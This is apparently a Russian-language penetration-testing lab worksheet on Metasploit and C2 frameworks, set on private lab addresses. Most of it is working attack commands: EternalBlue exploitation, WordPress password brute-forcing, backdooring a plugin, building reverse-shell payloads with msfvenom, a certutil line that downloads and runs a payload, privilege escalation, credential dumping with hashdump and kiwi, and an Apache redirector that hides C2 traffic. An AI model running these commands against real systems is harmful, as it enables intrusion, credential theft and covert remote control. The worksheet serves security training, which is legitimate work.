Лабораторная работа по Metasploit Framework

Раздел 1: Примеры C2

Настроим C2-сервер merlin:

```
$ ./merlinServer-Linux-x64
> listeners
> create http2
> set Interface 0.0.0.0
> set PSK 123456
> set Port 8443
> start
```

Настроим C2-клиент на той же машине:

```
$ nohup ./merlinAgent-Linux-x64 -url 'https://10.0.2.2:8443' -psk '123456'
>/dev/null 2>&1 &
```

Проверим сессию:

```
> interact <ID>
> shell uname -a
```

Раздел 2: Основы использования MSF

Базовый пример эксплуатации уязвимости:

```
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS 10.0.2.X # Windows 2008 server
msf > set LHOST eth0
msf > exploit
```

Пример поисков по модулям:

```
msf > search name:mysql
msf > search platform:aix
msf > search type:post
msf > search cve:2011 author:jduck
msf > search -h # полный список опций
```

Grep в MSF используется для поиска паттернов в выводе команд:

```
msf > grep ms17 search windows
```

Инициализация БД:

```
$ sudo systemctl enable postgresql
$ sudo systemctl start postgresql
$ sudo msfdb init
$ msfconsole -q
msf > db_status # проверка подключения
```

Примеры работы с БД:

```
msf > db_import scan # импорт результатов сканирования Nmap
msf > services # список всех сервисов
```

Сканирование версии SMB для всех хостов с 445 портом:

```
msf > use auxiliary/scanner/smb/smb_version
msf > services -p 445 -R # добавить к rhosts
msf > set threads 50
msf > set verbose false
msf > exploit
msf > grep 2008 services -p 445 # все хосты с Windows 2008
```

Просканируем все хосты с открытым 445 портом на MS17-010:

```
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set verbose false
msf > set check_pipe true
msf > services -p 445 -R # установка RHOSTS по правилу
msf > vulns # вывод информации об уязвимостях
msf > grep MS17-010 vulns # комбинирование вывода с фильтром
```

Управление сессиями meterpreter:

```
msf > sessions -l # список сессий
msf > sessions -i <id> # переключение между сессиями
msf > sessions -n sessname -i 1 # задать имя сессии
msf > sessions -i 1 -c "tasklist" # запуск системной команды
msf > sessions -i 1 -C getuid # запуск команды meterpreter
msf > sessions -c “tasklist /v | findstr notepad.exe” all # поиск пользователя с notepad.exe
msf > session -K # закрыть все сессии
msf > sessions -k # закрыть сессию
```

```
meterpreter > background # переключение сессии в background
```

Управление задачами (jobs) и асинхронное получение соединений от полезных нагрузок:

```
msf > use exploit/multi/handler
msf > set payload ...
msf > set LHOST\LPORT # наш ip-адрес и порт
msf > set exitonsession false
msf > run -h
msf > run -jz
msf > jobs -h
```

Раздел 3: Практическое применение MSF

Использование web-shell
Подключение к веб-серверу: http://10.0.2.X:8585/

Перебор паролей wordpress:

```
$ wpscan --url http://10.152.152.11:8585/wordpress/ --enumerate u -P
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
```

Используя полученные учетные данные нужно зайти с правами администратора и добавить бэкдор в плагин, например, в ninja-forms.

Подключение к бэкдору с помощью C2 phpsploit:

```
$ phpsploit
> set target
http://10.0.2.X:8585/wordpress/wp-content/plugins/ninja-forms/index.php
> exploit
```

Используя бэкдор можно запустить meterpreter. Создадим исполняемый файл:

```
$ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.0.2.X lport=4444
-f exe > reverse_tcp.exe # X - последний октет ip-адреса Kali Linux
```

Подготовка к передаче meterpreter через веб-сервер:

```
$ cp reverse_tcp.exe /tmp/www
$ sudo service apache2 start
```

Запуск серверной части:

```
$ msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
```

```
msf > set LPORT 4444
msf > exploit
```

Загрузка и запуск клиентской части на стороне Windows:

```
cmd > certutil.exe -urlcache -split -f http://10.0.2.X:8000/reverse_tcp.exe
reverse_tcp.exe & reverse_tcp.exe
```

Запуск произвольного payload через полученную сессию:

```
msf > use windows/local/payload_inject
msf > set payload windows/x64/vncinject/reverse_tcp
msf > set LPORT 5555
msf > set LHOST 10.0.2.X
msf > set SESSION Y
msf > exploit
```

Запуск произвольных скриптов powershell на примере PrivescCheck:

```
meterpreter > load powershell
meterpreter > powershell_import PrivescCheck.ps1
meterpreter > powershell_execute "Invoke-PrivescCheck"
```

После получения сессии meterpreter повысим права до NT AUTHORITY\SYSTEM.
Соберем информацию о возможных уязвимостях:

```
meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf > set SESSION X
msf > exploit
```

Настройка эксплойта для privesc:

```
msf > exploit/windows/local/ms16_014_wmi_recv_notif
msf > set SESSION Y
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set LHOST 10.0.2.X
msf > exploit
```

Проверка полученных прав для новой сессии:

```
meterpreter > getuid
```

Миграция в процесс:

```
meterpreter > ps
meterpreter > migrate <PID>
```

Сбор учетных данных через meterpreter:

```
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all
msf > use post/windows/gather/lsa_secrets
msf > set session Y
msf > exploit
```

Получение сетевых интерфейсов:

```
meterpreter > ipconfig
```

ARP-сканирование:

```
meterpreter > run arp_scanner -r 10.0.2.0/24
```

Сканирование портов:

```
msf > set RHOSTS 10.0.2.X
msf > use auxiliary/scanner/portscan/tcp
```

Раздел 3: Инфраструктура C2

Кастомизация payload:

```
$ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=eth0 LPORT=80
HttpUserAgent=CustomUA -f exe -o shell.exe
```

Настройка промежуточного сервера:

```
$ sudo a2enmod rewrite
$ sudo a2enmod proxy
$ sudo a2enmod proxy_http
$ vim /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        RewriteEngine On
```

```
        RewriteCond %{HTTP_USER_AGENT} "!^CustomUA$"
        RewriteRule .* - [R=404]
        ProxyPass "/" "http://localhost:8080/"
        <Directory "/">
                AllowOverride All
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
$ sudo systemctl restart apache2
```

Проверим, что коннекты с неправильным значением User-Agent отклоняются, а с правильным - проксируются по назначению:

```
$ python3 -m http.server 8080
$ curl -v localhost
$ curl -A CustomUA localhost
```

Закроем сервер на python и настроим хендлер MSF:

```
msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter_reverse_http
msf > set LHOST 127.0.0.1
msf > set LPORT 8080
msf > set ReverseListenerBindAddress 127.0.0.1
msf > set ReverseListenerBindPort 8080
msf > set OverrideLHOST 10.0.2.X # Kali IP
msf > set OverrideLPORT 80
msf > set HttpUserAgent CustomUA
msf > set OverrideRequestHost true
msf > run
```

Самостоятельно запускаем payload на атакуемой машине и проверяем корректность его работу.